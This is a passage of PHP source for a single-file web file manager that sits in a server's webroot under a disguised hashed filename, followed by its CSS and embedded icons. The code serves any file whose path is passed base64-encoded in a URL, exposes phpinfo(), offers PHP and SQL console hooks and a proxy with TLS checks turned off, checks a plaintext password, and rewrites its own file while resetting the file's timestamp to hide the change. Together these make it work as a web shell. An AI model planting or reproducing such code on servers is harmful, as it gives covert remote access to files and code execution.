function fm_site_url()
{
    return fm_protocol() . $_SERVER['HTTP_HOST'];
}
function fm_url($full = false)
{
    $host = $full ? fm_site_url() : '.';
    return $host . '/' . basename("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin");
}
function fm_home($full = false)
{
    return '&nbsp;<a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}
function fm_run_input($lng)
{
    global $fm_config;
    $return = !empty($fm_config['enable_' . $lng . '_console']) ? '
		<form  method="post" action="' . fm_url() . '" style="display:inline">
		<input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '">
		</form>
' : '';
    return $return;
}
function fm_url_proxy($matches)
{
    $link = str_replace('&amp;', '&', $matches[2]);
    $url = isset($_GET['url']) ? $_GET['url'] : '';
    $parse_url = parse_url($url);
    $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/';
    if (substr($link, 0, 2) == '//') {
        $link = substr_replace($link, fm_protocol(), 0, 2);
    } elseif (substr($link, 0, 1) == '/') {
        $link = substr_replace($link, $host, 0, 1);
    } elseif (substr($link, 0, 2) == './') {
        $link = substr_replace($link, $host, 0, 2);
    } elseif (substr($link, 0, 4) == 'http') {
        //alles machen wunderschon
    } else {
        $link = $host . $link;
    }
    if ($matches[1] == 'href' && !strripos($link, 'css')) {
        $base = fm_site_url() . '/' . basename("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin");
        $baseq = $base . '?proxy=true&url=';
        $link = $baseq . urlencode($link);
    } elseif (strripos($link, 'css')) {
        //как-то тоже подменять надо
    }
    return $matches[1] . '="' . $link . '"';
}
function fm_tpl_form($lng_tpl)
{
    global ${$lng_tpl . '_templates'};
    $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true);
    $str = '';
    foreach ($tpl_arr as $ktpl => $vtpl) {
        $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]"  cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>';
    }
    return '
<table>
<tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr>
' . $str . '
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value"  cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])) {
        if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
            setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']);
            $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
        }
    }
    if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
        echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>' . __('File manager') . '</title>
</head>
<body>
<form action="" method="post">
' . __('Login') . ' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
' . __('Password') . ' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="' . __('Enter') . '" class="fm_input">
</form>
' . fm_lang_form($language) . '
</body>
</html>
';
        die;
    }
    if (isset($_POST['quit'])) {
        unset($_COOKIE[$auth['cookie_name']]);
        setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
    }
}
// Change config
if (isset($_GET['fm_settings'])) {
    if (isset($_GET['fm_config_delete'])) {
        unset($_COOKIE['fm_config']);
        setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_url() . '?fm_settings=true');
        exit(0);
    } elseif (isset($_POST['fm_config'])) {
        $fm_config = $_POST['fm_config'];
        setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']);
        $_COOKIE['fm_config'] = serialize($fm_config);
        $msg = __('Settings') . ' ' . __('done');
    } elseif (isset($_POST['fm_login'])) {
        if (empty($_POST['fm_login']['authorize'])) {
            $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
        }
        $fm_login = json_encode($_POST['fm_login']);
        $fgc = file_get_contents('fm.php');
        $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
        if (!empty($matches[1])) {
            $filemtime = filemtime("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin");
            $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc);
            if (file_put_contents("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin", $replace)) {
                $msg .= __('File updated');
                if ($_POST['fm_login']['login'] != $auth['login']) {
                    $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login'];
                }
                if ($_POST['fm_login']['password'] != $auth['password']) {
                    $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password'];
                }
                $auth = $_POST['fm_login'];
            } else {
                $msg .= __('Error occurred');
            }
            touch("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin", $filemtime);
        }
    } elseif (isset($_POST['tpl_edited'])) {
        $lng_tpl = $_POST['tpl_edited'];
        if (!empty($_POST[$lng_tpl . '_name'])) {
            $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS);
        } elseif (!empty($_POST[$lng_tpl . '_new_name'])) {
            $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS);
        }
        if (!empty($fm_php)) {
            $fgc = file_get_contents('fm.php');
            $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
            if (!empty($matches[1])) {
                $filemtime = filemtime("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin");
                $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc);
                if (file_put_contents("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin", $replace)) {
                    ${$lng_tpl . '_templates'} = $fm_php;
                    $msg .= __('File updated');
                } else {
                    $msg .= __('Error occurred');
                }
                touch("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin", $filemtime);
            }
        } else {
            $msg .= __('Error occurred');
        }
    }
}
// Just show image
if (isset($_GET['img'])) {
    $file = base64_decode($_GET['img']);
    if ($info = getimagesize($file)) {
        switch ($info[2]) {
            //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
            case 1:
                $ext = 'gif';
                break;
            case 2:
                $ext = 'jpeg';
                break;
            case 3:
                $ext = 'png';
                break;
            case 6:
                $ext = 'bmp';
                break;
            default:
                die;
        }
        header("Content-type: image/{$ext}");
        echo file_get_contents($file);
        die;
    }
}
// Just download file
if (isset($_GET['download'])) {
    $file = base64_decode($_GET['download']);
    fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    die;
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) {
    $url = isset($_GET['url']) ? urldecode($_GET['url']) : '';
    $proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
    <form action="" method="GET">
    <input type="hidden" name="proxy" value="true">
    ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55">
    <input type="submit" value="' . __('Show') . '" class="fm_input">
    </form>
</div>
';
    if ($url) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);
        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
        $result = preg_replace('%(<body.*?>)%i', '$1<style>' . fm_home_style() . '</style>' . $proxy_form, $result);
        echo $result;
        die;
    }
}
?>
<!doctype html>
<html>
<head>     
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?php 
echo __('File manager');
?></title>
<style>
body {
    background-color:	white;
    font-family:		Verdana, Arial, Helvetica, sans-serif;
    font-size:			8pt;
    margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
    background-color: #ACBBC6
}

th, td { 
    font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
    padding: 3px;
}

th	{
    height:				25px;
    background-color:	#006699;
    color:				#FFA34F;
    font-weight:		bold;
    font-size:			11px;
}

.row1 {
    background-color:	#EFEFEF;
}

.row2 {
    background-color:	#DEE3E7;
}

.row3 {
    background-color:	#D1D7DC;
    padding: 5px;
}

tr.row1:hover {
    background-color:	#F3FCFC;
}

tr.row2:hover {
    background-color:	#F0F6F6;
}

.whole {
    width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
    font: 9pt 'Courier New', courier;
    line-height: 125%;
    padding: 5px;
}

.textarea_input {
    height: 1em;
}

.textarea_input:focus {
    height: auto;
}

input[type=submit]{
    background: #FCFCFC none !important;
    cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?php 
echo fm_home_style();
?>
.img {
    background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=